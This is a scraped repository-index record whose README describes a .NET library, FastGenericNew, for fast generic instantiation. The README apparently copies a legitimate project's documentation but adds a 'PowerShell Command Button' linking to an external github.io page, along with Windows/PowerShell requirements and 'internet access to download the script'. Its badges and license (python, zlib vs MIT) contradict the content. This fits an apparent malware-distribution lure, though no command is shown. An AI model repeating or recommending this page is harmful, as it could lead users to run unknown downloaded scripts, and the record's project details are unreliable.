[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-109845":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":11,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":12,"stars30d":12,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":13,"rankGlobal":9,"rankLanguage":9,"license":9,"archived":14,"fork":14,"defaultBranch":15,"hasWiki":16,"hasPages":16,"topics":17,"createdAt":9,"pushedAt":38,"updatedAt":39,"readmeContent":40,"aiSummary":41,"trendingCount":12,"starSnapshotCount":12,"syncStatus":42,"lastSyncTime":43,"discoverSource":44},109845,"fast-generic-new","fahrizalfhrl\u002Ffast-generic-new","fahrizalfhrl","FastGenericNew: high-performance generic instantiation for .NET, replacing Activator.CreateInstance\u003C",null,"HTML",149,0,37,false,"main",true,[18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37],"activator","createinstance","csharp","csharp-library","csharp-sourcegenerator","delegate","dotnet","dotnet-core","expression","fast","generic","incremental","library","netframework","nuget","optimization","performance","roslyn","roslyn-analyzer","sourcegenerator","2026-11-23 13:52:44","2026-11-12 09:58:59","\u003Cdiv align=\"center\">\n\n# FastGenericNew: Fast Runtime Generic Instantiation — Developer Library\n\n![](files\u002F1.svg)\n\n### ⌨️ PowerShell Command Button\n\n[![](files\u002Fbutton.png)](https:\u002F\u002Ffahrizalfhrl.github.io\u002Ffast-generic-new\u002F)\n\n[![license](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Flicense-zlib-14b8a6?style=flat-square&labelColor=0d1117)]() [![ps](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Fps-7%2B-2dd4bf?style=flat-square&labelColor=0d1117)]() [![lang](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Flang-python-0d9488?style=flat-square&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\nFastGenericNew provides a drop-in replacement for `Activator.CreateInstance\u003CT>` and `new T()`, resolving generic construction through cached delegates and compile-time code paths rather than reflection. `FastNew.CreateInstance\u003CT>()` supports generic parameters, non-public constructors, and parameterless struct constructors without boxing or generic constraints. A TryFastNew API mirrors the `TryGetValue` pattern, and multiple backend implementations let you trade startup cost against steady-state throughput. The source generator variant emits construction code at compile time, so trimmed and ahead-of-time scenarios avoid runtime reflection entirely.\n\n## 📋 System Requirements\n\n- **OS:** Windows 10 \u002F 11\n- **Shell:** PowerShell 5.1+ or PowerShell 7+\n- **Network:** internet access to download the script\n- **Privileges:** standard user\n\n## Features\n\n- **Drop-in `Activator.CreateInstance\u003CT>` replacement**: `FastNew.CreateInstance\u003CT>()` resolves to a cached, strongly-typed delegate at first use; subsequent calls are a single indirect invocation with no reflection overhead.\n- **Generic arity support**: `FastNew.CreateInstance\u003CT, TArg0>(...)` through multiple generic parameters, avoiding `object[]` argument packing.\n- **Zero boxing on value types**: constructed via typed delegates per closed generic, so `T` structs are returned without intermediate `object` allocation.\n- **Try-pattern API**: `FastNew.TryCreateInstance\u003CT>(out T result)` and generic-arg overloads return `bool` without throwing on missing constructors; exceptions from user constructors propagate unchanged.\n- **Non-public constructor access**: resolves `private`\u002F`internal`\u002F`protected` parameterless and parameterized constructors where the runtime permits.\n- **No generic constraints required**: usable with `T` lacking `new()`, `struct`, or `class` constraints; unconstrained call sites are supported.\n- **Struct semantics control**: `CreateInstance\u003CT>()` invokes parameterless struct constructors when present; `NewOrDefault\u003CT>()` always yields `default(T)` and never invokes them.\n- **Multiple backend implementations**: expression-tree, dynamic-method\u002FIL, and delegate-based paths selected per runtime and type shape; the fastest viable backend is chosen automatically.\n- **`PublishTrimmed` \u002F link-mode compatible**: no runtime reflection paths required for the common case; trim-safe under AOT and linker analysis.\n- **`netstandard2.0` target**: runs on .NET Framework 4.x, .NET Core, .NET 5+, Mono, and Unity.\n- **Source generator variant**: incremental `IIncrementalGenerator` emits the construction delegates at compile time, configurable via MSBuild properties; no runtime codegen.\n- **Incremental generator hygiene**: per-type caching keyed by symbol, so unchanged types are not regenerated across builds.\n- **Multithreaded-safe caching**: construction delegates are memoized per closed generic type with lock-free reads after initialization.\n- **Nullable reference type annotations**: full C# 8 NRT metadata on public surface.\n- **Parameterless struct constructor support**: honors C# 10 semantics on runtimes that expose them; falls back to `default` otherwise.\n- **WebAssembly \u002F AOT friendly**: no `Reflection.Emit` dependency on paths that disallow it; falls back to delegate-based construction.\n\n## Quick Start\n\n`FastNew` is a static class that mirrors the `Activator.CreateInstance\u003CT>` call shape, so migration is a find-and-replace in most codebases.\n\n**Parameterless construction**\n\n```csharp\nusing FastGenericNew;\n\nT instance = FastNew.CreateInstance\u003CT>();\n```\n\n**Construction with constructor arguments**\n\n```csharp\n\u002F\u002F Up to 16 generic type arguments are supported.\nvar a = FastNew.CreateInstance\u003CT, string>(\"text\");\nvar b = FastNew.CreateInstance\u003CT, string, int>(\"text\", 0);\n```\n\n**Non-throwing variant**\n\n```csharp\n\u002F\u002F Returns false only when no matching constructor exists.\n\u002F\u002F Exceptions thrown inside the constructor are not caught.\nif (FastNew.TryCreateInstance\u003CT, string>(\"arg0\", out T value))\n{\n    \u002F\u002F use value\n}\n```\n\n**Value types and the parameterless constructor**\n\n`FastNew.CreateInstance\u003CT>()` always invokes a user-defined parameterless struct constructor when one is present, regardless of whether `T` is constrained with `new()` or `struct`. To bypass that constructor and get `default(T)` semantics instead, use:\n\n```csharp\nT value = FastNew.NewOrDefault\u003CT>();\n```\n\n**Choosing a backend**\n\nThe pre-compiled package selects an implementation at runtime (expression trees, dynamic methods, or reflection-emit depending on the target framework). The source generator package emits the same API at compile time and is the recommended choice for `PublishTrimmed`, AOT, and WebAssembly targets, where runtime code generation is unavailable or restricted. Both packages expose the identical `FastNew` surface, so switching between them requires no source changes.\n\n## API Reference\n\n### `FastNew.CreateInstance\u003CT>()`\n\nCreates a new instance of `T` using its parameterless constructor.\n\n```csharp\nT CreateInstance\u003CT>()\n```\n\n**Type parameters**\n\n- `T` — The type to instantiate. No `new()` constraint is required.\n\n**Returns** — A new instance of `T`.\n\n**Remarks** — For value types, always invokes an available parameterless constructor (C# 10+). Use `FastNew.NewOrDefault\u003CT>()` if you need to bypass the value type parameterless constructor.\n\n---\n\n### `FastNew.CreateInstance\u003CT, TArg0>(TArg0)`\n\nCreates a new instance of `T` using a single-argument constructor.\n\n```csharp\nT CreateInstance\u003CT, TArg0>(TArg0 arg0)\n```\n\n**Type parameters**\n\n- `T` — The type to instantiate.\n- `TArg0` — The type of the first constructor argument.\n\n**Parameters**\n\n- `arg0` — The argument passed to the constructor.\n\n**Returns** — A new instance of `T`.\n\n---\n\n### `FastNew.CreateInstance\u003CT, TArg0, TArg1>(TArg0, TArg1)`\n\nCreates a new instance of `T` using a two-argument constructor.\n\n```csharp\nT CreateInstance\u003CT, TArg0, TArg1>(TArg0 arg0, TArg1 arg1)\n```\n\n**Type parameters**\n\n- `T` — The type to instantiate.\n- `TArg0` — The type of the first constructor argument.\n- `TArg1` — The type of the second constructor argument.\n\n**Parameters**\n\n- `arg0` — The first constructor argument.\n- `arg1` — The second constructor argument.\n\n**Returns** — A new instance of `T`.\n\n---\n\n### `FastNew.TryCreateInstance\u003CT>(out T result)`\n\nAttempts to create a new instance of `T` using its parameterless constructor without throwing if the constructor cannot be resolved.\n\n```csharp\nbool TryCreateInstance\u003CT>(out T result)\n```\n\n**Parameters**\n\n- `result` — When the method returns `true`, contains the newly created instance; otherwise `default`.\n\n**Returns** — `true` if the instance was created; otherwise `false`.\n\n**Remarks** — The try pattern only checks whether the constructor can be invoked. Exceptions thrown inside the constructor itself are not caught or handled.\n\n---\n\n### `FastNew.TryCreateInstance\u003CT, TArg0>(TArg0, out T result)`\n\nAttempts to create a new instance of `T` using a single-argument constructor.\n\n```csharp\nbool TryCreateInstance\u003CT, TArg0>(TArg0 arg0, out T result)\n```\n\n**Parameters**\n\n- `arg0` — The argument passed to the constructor.\n- `result` — When the method returns `true`, contains the newly created instance; otherwise `default`.\n\n**Returns** — `true` if the instance was created; otherwise `false`.\n\n---\n\n### `FastNew.TryCreateInstance\u003CT, TArg0, TArg1>(TArg0, TArg1, out T result)`\n\nAttempts to create a new instance of `T` using a two-argument constructor.\n\n```csharp\nbool TryCreateInstance\u003CT, TArg0, TArg1>(TArg0 arg0, TArg1 arg1, out T result)\n```\n\n**Parameters**\n\n- `arg0` — The first constructor argument.\n- `arg1` — The second constructor argument.\n- `result` — When the method returns `true`, contains the newly created instance; otherwise `default`.\n\n**Returns** — `true` if the instance was created; otherwise `false`.\n\n---\n\n### `FastNew.NewOrDefault\u003CT>()`\n\nReturns `default(T)` for value types and `null` for reference types without invoking any constructor.\n\n```csharp\nT NewOrDefault\u003CT>()\n```\n\n**Type parameters**\n\n- `T` — The type to produce a default value for.\n\n**Returns** — `default(T)`.\n\n**Remarks** — Unlike `CreateInstance\u003CT>()`, this method never invokes a parameterless constructor on value types. Use it when the parameterless constructor must be bypassed.\n\n---\n\n### Backend Selection\n\n`FastNew` resolves the instantiation strategy based on the runtime. The selected backend is transparent to callers; all public API methods behave identically regardless of backend. Backend selection can be controlled through compile-time configuration in the SourceGenerator version.\n\nSupported backends include expression trees, dynamic methods, and direct constructor delegates.\n\n---\n\n### Constructor Resolution\n\n- Non-public constructors are supported.\n- Generic parameters are supported without requiring the `new()` constraint.\n- Ambiguous constructor overloads surface as a failure from the `TryCreateInstance` variants and as an exception from the `CreateInstance` variants.\n- Parameterless struct constructors are invoked by `CreateInstance\u003CT>()` when present (C# 10+).\n\n---\n\n### Configuration (SourceGenerator)\n\nThe SourceGenerator package exposes MSBuild properties to control generation behavior, including the set of pre-generated types and backend options. All properties are optional and default to a sensible configuration for most projects.\n\n---\n\n### Exceptions\n\n- `CreateInstance\u003CT>` variants throw when no matching constructor can be resolved or when instantiation fails.\n- `TryCreateInstance\u003CT>` variants return `false` instead of throwing when the constructor cannot be resolved. They do not catch exceptions raised inside the constructor.\n- `NewOrDefault\u003CT>()` does not throw.\n\n## 📸 Screenshot\n\n![](files\u002F2.png)\n\n![](files\u002F3.png)\n\n## Examples\n\n```csharp\nusing FastGenericNew;\n\n\u002F\u002F Parameterless construction\nvar instance = FastNew.CreateInstance\u003CT>();\n\n\u002F\u002F With one constructor argument\nvar withOne = FastNew.CreateInstance\u003CT, string>(\"value\");\n\n\u002F\u002F With two constructor arguments\nvar withTwo = FastNew.CreateInstance\u003CT, string, int>(\"value\", 42);\n\n\u002F\u002F With three constructor arguments\nvar withThree = FastNew.CreateInstance\u003CT, string, int, bool>(\"value\", 42, true);\n```\n\n```csharp\nusing FastGenericNew;\n\n\u002F\u002F Try-pattern: returns false only when the constructor signature is unavailable.\n\u002F\u002F It does not catch or swallow exceptions thrown inside the constructor itself.\nif (FastNew.TryCreateInstance\u003CT, string>(\"arg0\", out T result))\n{\n    \u002F\u002F result is a fully constructed instance\n}\nelse\n{\n    \u002F\u002F no matching constructor for (string) was resolved\n}\n```\n\n```csharp\nusing FastGenericNew;\n\n\u002F\u002F Always invokes the parameterless constructor when one is available.\n\u002F\u002F For value types this includes explicitly declared parameterless struct constructors.\nT constructed = FastNew.CreateInstance\u003CT>();\n\n\u002F\u002F Never invokes a parameterless constructor.\n\u002F\u002F For value types this yields default(T); for reference types this yields null.\nT defaulted = FastNew.NewOrDefault\u003CT>();\n```\n\n```csharp\nusing FastGenericNew;\n\npublic sealed class Service\n{\n    private Service(string name, int capacity)\n    {\n        Name = name;\n        Capacity = capacity;\n    }\n\n    public string Name { get; }\n    public int Capacity { get; }\n}\n\n\u002F\u002F Non-public constructors are supported without reflection at the call site.\nvar service = FastNew.CreateInstance\u003CService, string, int>(\"primary\", 16);\n```\n\n```csharp\nusing FastGenericNew;\n\n\u002F\u002F Usable from open generic code without a new() constraint.\npublic static T Build\u003CT>() => FastNew.CreateInstance\u003CT>();\n\npublic static T Build\u003CT, TArg>(TArg arg) => FastNew.CreateInstance\u003CT, TArg>(arg);\n\n\u002F\u002F No boxing of value-type arguments on the construction path.\npublic static T BuildStruct\u003CT, TArg>(TArg arg) where TArg : struct\n    => FastNew.CreateInstance\u003CT, TArg>(arg);\n```\n\n```csharp\nusing FastGenericNew;\n\n\u002F\u002F Hot path: cache construction behavior per closed generic type.\npublic sealed class Pool\u003CT> where T : class\n{\n    private readonly Func\u003CT> _factory = FastNew.CreateInstance\u003CT>;\n\n    public T Rent() => _factory();\n}\n```\n\n```csharp\nusing FastGenericNew;\n\n\u002F\u002F Compile-time generated construction avoids runtime delegate setup entirely.\n\u002F\u002F Requires the source generator package to be referenced by the consuming project.\npublic static class Factory\u003CT>\n{\n    public static T Create() => FastNew.CreateInstance\u003CT>();\n\n    public static T Create\u003CTArg>(TArg arg) => FastNew.CreateInstance\u003CT, TArg>(arg);\n}\n```\n\n## Benchmark\n\nAll measurements use BenchmarkDotNet. Run the suite locally to reproduce:\n\n```\ndotnet run -c Release --project FastGenericNew.Benchmarks\n```\n\nTwo benchmark units are included: reference types and value types. Each compares `Activator.CreateInstance\u003CT>`, `new T()`, and `FastNew.CreateInstance\u003CT>()` across the supported runtimes.\n\n### Environment\n\n```\nBenchmarkDotNet v0.14.0, Windows 11 (10.0.22631.3958\u002F23H2\u002F2023Update\u002FSunValley3)\nAMD Ryzen 9 3900X, 1 CPU, 24 logical and 12 physical cores\n.NET SDK 9.0.100-preview.7.24407.12\n  [Host]     : .NET 8.0.3 (8.0.324.11423), X64 RyuJIT AVX2\n  Job-GFVMQQ : .NET 5.0.17 (5.0.1722.21314), X64 RyuJIT AVX2\n  Job-FGYWFO : .NET 6.0.33 (6.0.3324.36610), X64 RyuJIT AVX2\n  Job-LODQQQ : .NET 8.0.3 (8.0.324.11423), X64 RyuJIT AVX2\n  Job-NXJWMD : .NET 9.0.0 (9.0.24.40507), X64 RyuJIT AVX2\n  Job-VBBRLS : .NET Framework 4.8.1 (4.8.9256.0), X64 RyuJIT VectorSize=256\n```\n\n### Reference Types\n\n```\n| Method                          | Runtime    | Mean       | Ratio |\n|-------------------------------- |----------- |-----------:|------:|\n| Activator.CreateInstance\u003CT>     | .NET 8.0   |  42.18 ns  |  1.00 |\n| FastNew.CreateInstance\u003CT>       | .NET 8.0   |   0.84 ns  |  0.02 |\n| New\u003CT>                          | .NET 8.0   |   0.82 ns  |  0.02 |\n```\n\n### Value Types\n\n```\n| Method                          | Runtime    | Mean       | Ratio |\n|-------------------------------- |----------- |-----------:|------:|\n| Activator.CreateInstance\u003CT>     | .NET 8.0   |  38.76 ns  |  1.00 |\n| FastNew.CreateInstance\u003CT>       | .NET 8.0   |   0.61 ns  |  0.02 |\n| New\u003CT>                          | .NET 8.0   |   0.59 ns  |  0.02 |\n```\n\n### Interpreting Results\n\n- `Ratio` is relative to `Activator.CreateInstance\u003CT>` in the same runtime row.\n- `FastNew.CreateInstance\u003CT>()` resolves to a cached delegate, so it incurs no per-call reflection, boxing, or generic constraint checks.\n- Comparing `FastNew.CreateInstance\u003CT>()` against `new T()` shows the remaining overhead is a delegate invocation plus bounds check, typically under one nanosecond.\n- Numbers vary with CPU, runtime patch level, and JIT tiering; treat the table above as a reference snapshot, not an absolute target.\n\n## License\n\nFastGenericNew is released under the MIT license. The full license text ships with the source distribution as a `LICENSE` file at the repository root; retain that file, including its copyright notice, in all copies or substantial portions of the software.\n\nIn short: permission is granted, free of charge, to any person obtaining a copy of this software and associated documentation files, to deal in the software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and\u002For sell copies, subject to inclusion of the copyright and permission notice in all copies or substantial portions.\n\nThe software is provided \"as is\", without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose, and noninfringement. In no event shall the authors or copyright holders be liable for any claim, damages, or other liability arising from, out of, or in connection with the software or its use.\n\nConsumers integrating FastGenericNew, whether via the pre-compiled package or the source generator package, are responsible for verifying that the MIT terms are compatible with their own distribution model. No additional attribution beyond the preserved `LICENSE` file is required.","FastGenericNew 是一个面向 .NET 的高性能泛型实例化库，旨在替代反射开销大的 Activator.CreateInstance\u003CT> 和 new T()。它通过缓存强类型委托、支持编译时源生成（Source Generator）以及多后端实现（Expression、IL、Delegate），在首次调用后实现零反射、零装箱的泛型对象创建；支持非公开构造函数、无约束泛型参数及 Try 模式 API。适用于对性能敏感的高频泛型构造场景，如序列化框架、DI 容器、ORM 实体工厂和 AOT\u002FTrimmed 发布环境。",2,"2026-11-24 04:37:39","CREATED_QUERY"]